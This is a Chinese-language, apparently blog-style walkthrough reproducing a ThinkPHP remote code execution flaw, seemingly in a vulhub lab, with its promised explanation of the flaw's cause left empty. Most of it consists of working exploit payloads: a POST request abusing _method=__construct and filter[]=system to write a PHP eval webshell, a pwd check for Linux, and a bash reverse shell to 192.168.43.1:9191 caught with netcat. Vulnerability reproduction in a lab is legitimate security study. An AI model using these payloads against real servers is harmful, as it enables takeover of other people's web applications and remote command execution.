1.Thinkphp
2.漏洞原理及成因
3.漏洞复现
首先要找到一个有漏洞的页面!!!
然后就可以用工具去fuzz亿下!!嘻嘻
可以看见是能成功fuzz出来的!!!
于是就可以加以利用了,我们这里直接讲两种利用的方法
1.RCE(Remote Code Execute)
远程代码执行,那么我们肯定是要上poc啦,在上poc之前,我们要知道,这是一个因为参数覆盖导致的RCE!!!
那么我们需要去抓包!!!
先将get包改成post
然后再去修改参数(首先确定是Windows版本的)可以看见页面上是返回了信息的
那么我们去ping的话应该也是可以的!!!
2.Getshell !!!
1.Windows版本
代码执行是你的谎言,getshell才是你的真相,直接上poc
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo+^<?php+@eval($_POST['cmd']);+?^>+>>shell.php
可以看见是能够成功的getshell的!!!
2.Linux版本
我们也完全可以这样做,但是呢,可以讲一个新的方法
我就直接用vulhub的docker环境了
然后我们要来讲这样的一个命令
_method=__construct&filter[]=system&method=get&get[]=pwd
这个可以用来验证!!存在漏洞!!!!
然后讲一种新getshell的方法
●/bin/bash -c "bash -i >& /dev/tcp/192.168.43.1/9191 0>&1"
下面来解释一下这个命令
/bin/bash
是要执行的 shell 程序的路径,-c
选项告诉 Bash shell 要执行后面的命令字符串。- bash -i 是启动一个交互式的shell !!
- >& /dev/tcp/192.168.43.1/9191 将标准输出和标准错误重定向到指定的 TCP 连接
0>&1
将标准输入重定向到标准输出,使得输入和输出都通过 TCP 连接
这意味着命令试图在目标主机上建立一个 TCP 连接,并将该连接与一个交互式的 Bash shell 关联起来,以便攻击者可以通过该连接执行命令并与目标系统进行交互。
然后,我们在在主机上开启监听,我这里用netcat!!(别问我端口为什么这么有特性)
编码之后发送即可!!
当然了,感觉这个shell还是没有直接写的webshell好用呢
对了还要补充一下那个编码的网址 在线url网址编码、解码器-BeJSON.comhttps://www.bejson.com/enc/urlencode/
那么以上就是thinkphp的框架漏洞的基本原理以及复现啦